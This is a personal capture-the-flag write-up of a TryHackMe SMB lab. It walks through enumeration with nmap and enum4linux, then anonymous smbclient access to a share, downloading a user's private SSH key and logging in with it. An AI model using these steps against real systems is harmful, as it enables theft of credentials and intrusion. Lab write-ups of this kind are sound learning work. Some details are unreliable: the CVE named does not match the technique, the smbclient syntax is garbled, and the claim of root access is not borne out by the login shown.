abelmorad / tryhackme-cda-exploiting-smb-01

Documentation: TryHackMe Exploiting SMB #01

1. Introduction

• Purpose: Document my experience and share knowledge on the Cyber Defense challenges
• Scope: Learn the fundamental components of detecting and responding to threats in a corporate environment

2. Setup

• Environment: Kali Linux via VirtualBox
• Accounts and Access: Created a TryHackMe account and accessed the room via OpenVPN

3. Challenge Walkthrough

3.1 Room Name: Network Services

• Objective: Access a server and capture the flag by enumerating an SMB and exploiting its vulnerabilities to exfiltrate sensitive data and gain access to the server and capture the flag

3.2 Enumeration

• Initial Scanning:
  • Tools and Commands:
    • Port Scanning:
      • nmap -Pn 10.10.242.131
    • SMB Enumeration:
      • enum4linux -U 10.10.242.131
      • enum4linux -a 10.10.242.131
  • Findings:
    • Users are: administrator, guest, krbtgt, domain admins, root, bin, none
    • No password
    • Workgroup name is WORKGROUP
    • Name of machine is polosmb
    • OS running on version 6.1
    • Ports that are open:
      • 22/tcp open ssh
      • 139/tcp open netbios-ssn
      • 445/tcp open microsoft-ds
    • Users profiles is shared in the SMB with the sharename 'profiles'

3.3 Exploitation

• Vulnerability Identification: CVE-2017-7494

  • Techniques Used: exploiting anonymous SMB share access- a common misconfiguration that can allow us to gain information that will lead to a shell.

• Exploitation Process:

  • Enter to access SMB smbclient //10.10.242.131/ Anonymous -U profiles

  • Press enter on the password because there is no password set

  • Enter ls -a to show files and hidden files

  • Type get Working From Home Information to download to your download folder

  • Enter cat Working From Home Information.txt in the terminal to view the text file

  • Type open .ssh to access directory

  • To download type get id_rsa

  • Type chmod 600 id_rsa to change the permissions

  • Type ssh [email protected] -i id_rsa to access the server

  • Type ls to show files then cat smb.txt to view text file

4. Analysis and Reflection

• Challenges Faced: Difficulty comprehending instructions and which commands to use
• Learnings: Importance of thorough enumeration.
• Improvements: Try alternative enumeration techniques earlier.

5. Conclusion

• Summary: Successfully gained root access and captured the flag

6. References

• TryHackMe
• Nmap Documentation